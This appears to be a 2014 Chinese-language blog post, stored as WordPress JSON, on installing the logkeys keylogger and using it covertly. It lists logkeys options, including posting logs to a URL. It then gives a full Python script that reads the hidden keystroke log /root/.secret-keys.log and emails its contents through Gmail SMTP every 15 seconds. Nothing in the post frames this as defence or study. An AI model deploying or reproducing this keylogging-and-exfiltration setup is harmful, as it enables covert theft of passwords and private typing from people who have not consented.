{"id":141,"date":"2014-06-25T17:11:46","date_gmt":"2014-06-25T17:11:46","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=141"},"modified":"2014-06-25T17:11:46","modified_gmt":"2014-06-25T17:11:46","slug":"%e8%ae%b0%e5%bd%95%e9%94%ae%e7%9b%98%e6%95%b2%e5%87%bb%e8%ae%b0%e5%bd%95-%e5%ae%9a%e6%97%b6%e5%8f%91%e9%80%81%e9%82%ae%e4%bb%b6","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/141.html","title":{"rendered":"\u8bb0\u5f55\u952e\u76d8\u6572\u51fb\u8bb0\u5f55 &amp;&amp; \u5b9a\u65f6\u53d1\u9001\u90ae\u4ef6"},"content":{"rendered":"<p>logkeys\u7684\u4e0b\u8f7d\u5730\u5740\uff1a<a href=\"http:\/\/code.google.com\/p\/logkeys\/\" target=\"_blank\">http:\/\/code.google.com\/p\/logkeys\/<\/a><\/p>\n<h6>\u5b89\u88c5\uff1a<\/h6>\n<pre class=\"lang:default decode:true\">tar zxvf logkeys-0.1.0.tar.gz\ncd logkeys-0.1.0\/\n.\/configure\nmake\nmake install #\u5378\u8f7d\u5c31\u662f\uff1amake uninstall<\/pre>\n<h6>\u7136\u540e\uff1a<\/h6>\n<p>cp logkeys \/bin<\/p>\n<hr \/>\n<h6>\u4f7f\u7528\u9009\u9879\u8bf4\u660e\uff1a<\/h6>\n<pre class=\"lang:default decode:true \">root@kali:~\/Desktop\/temp\/logkeys-0.1.1a\/src# .\/logkeys\nUsage: logkeys [OPTION]...\nLog depressed keyboard keys.\n\n-s, --start start logging keypresses\n-m, --keymap=FILE use keymap FILE\n-o, --output=FILE log output to FILE [\/var\/log\/logkeys.log]\n-u, --us-keymap use en_US keymap instead of configured default\n-k, --kill kill running logkeys process\n-d, --device=FILE input event device [eventX from \/dev\/input\/]\n-?, --help print this help screen\n--export-keymap=FILE export configured keymap to FILE and exit\n--no-func-keys log only character keys\n--no-timestamps don't prepend timestamps to log file lines\n--post-http=URL POST log to URL as multipart\/form-data file\n--post-size=SIZE post log file when size equals SIZE [500k]\n\nExamples: logkeys -s -m mylang.map -o ~\/.secret-keys.log\nlogkeys -s -d event6\nlogkeys -k\n\nlogkeys version: 0.1.1a\nlogkeys homepage: &lt;http:\/\/code.google.com\/p\/logkeys\/&gt;<\/pre>\n<h6>\u5b9a\u65f6\u53d1\u9001\u90ae\u4ef6\u7684Python\u811a\u672c\uff1a<\/h6>\n<pre class=\"lang:python decode:true\">#!\/usr\/bin\/env python\n#coding=utf-8\n\nimport smtplib\nfrom email.Message import Message\nimport time\nimport optparse\nimport sched\n\nschedular=sched.scheduler(time.time, time.sleep)\n\ndef sendMail(emailTo, thePasswd):\n    systemTime=time.strftime('%Y-%m-%d-%T',time.localtime(time.time()))\n    try:\n        fileObj=open(\"\/root\/.secret-keys.log\", \"r\")    #\"\/root\/.secret-keys.log\"\u662f\u952e\u76d8\u8bb0\u5f55\u7684\u8f93\u51fa\u6587\u4ef6\uff0c\u6839\u636e\u8f93\u51fa\u6587\u4ef6\u7684\u4f4d\u7f6e\u4e0d\u540c\u81ea\u5df1\u9700\u8981\u8fdb\u884c\u9002\u5f53\u7684\u4fee\u6539\n        content=fileObj.read()\n    except:\n        print \"Cannot read filen\"\n        exit()\n\n    message = Message()\n    message['Subject'] = 'Log Keys'    #\u90ae\u4ef6\u6807\u9898\n    message['From'] = \"10001@qq.com\"\n    message['To'] = emailTo\n    message.set_payload(\"\u5f53\u524d\u65f6\u95f4\"+systemTime+\"n\"+content)    #\u90ae\u4ef6\u6b63\u6587\n    msg = message.as_string()\n\n    smtp = smtplib.SMTP(\"smtp.gmail.com\", port=587, timeout=20)\n    #sm.set_debuglevel(1)\t\t#\u5f00\u542fdebug\u6a21\u5f0f\n    smtp.starttls()\t\t\t#\u4f7f\u7528\u5b89\u5168\u8fde\u63a5\n    smtp.login(emailTo, thePasswd)\n    smtp.sendmail(\"1000101@qq.com\", emailTo, msg)\n    time.sleep(5)\t#\u907f\u514d\u90ae\u4ef6\u6ca1\u6709\u53d1\u9001\u5b8c\u6210\u5c31\u8c03\u7528\u4e86quit()\n    smtp.quit()\n\ndef perform(inc, emailTo, thePasswd):\n    schedular.enter(inc, 0, perform, (inc, emailTo, thePasswd))\n    sendMail(emailTo, thePasswd)\n\ndef myMain(inc, emailTo, thePasswd):\n    schedular.enter(0, 0, perform, (inc, emailTo, thePasswd))\n    schedular.run()\n\nif __name__==\"__main__\":\n    optObj=optparse.OptionParser()\n    optObj.add_option(\"-u\", dest=\"user\", help=\"Gmail account\")\n    optObj.add_option(\"-p\", dest=\"passwd\", help=\"Gmail Passwd\")\n    (options, args)=optObj.parse_args()\n\n    emailName=options.user\n    emailPasswd=options.passwd\n    myMain(15, emailName, emailPasswd)\t#15\u8868\u793a\u7684\u662f\u76f8\u9694\u65f6\u95f4\uff0c\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u6c42\u8bbe\u5b9a<\/pre>\n<p>&nbsp;<\/p>\n<p>\u5728\u7f51\u4e0a\u770b\u5230\u7684\u5185\u5bb9\uff0c\u4f46\u65f6\u95f4\u5c31\u4e86\uff0c\u5c31\u5fd8\u4e86\u51fa\u5904\uff0c\u641c\u7d22\u4e5f\u6ca1\u627e\u5230\uff0c\u5982\u679c\u6709\u77e5\u9053\u7684\u8bf7\u544a\u77e5\uff0c\u8c22\u8c22\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>logkeys\u7684\u4e0b\u8f7d\u5730\u5740\uff1ahttp:\/\/code.google.com\/p\/logkeys\/ \u5b89\u88c5\uff1a tar  [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,25,12],"tags":[30,87,8],"class_list":["post-141","post","type-post","status-publish","format-standard","hentry","category-linux","category-security","category-tools","tag-linux","tag-logkeys","tag-python"],"views":5280,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/141","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=141"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/141\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}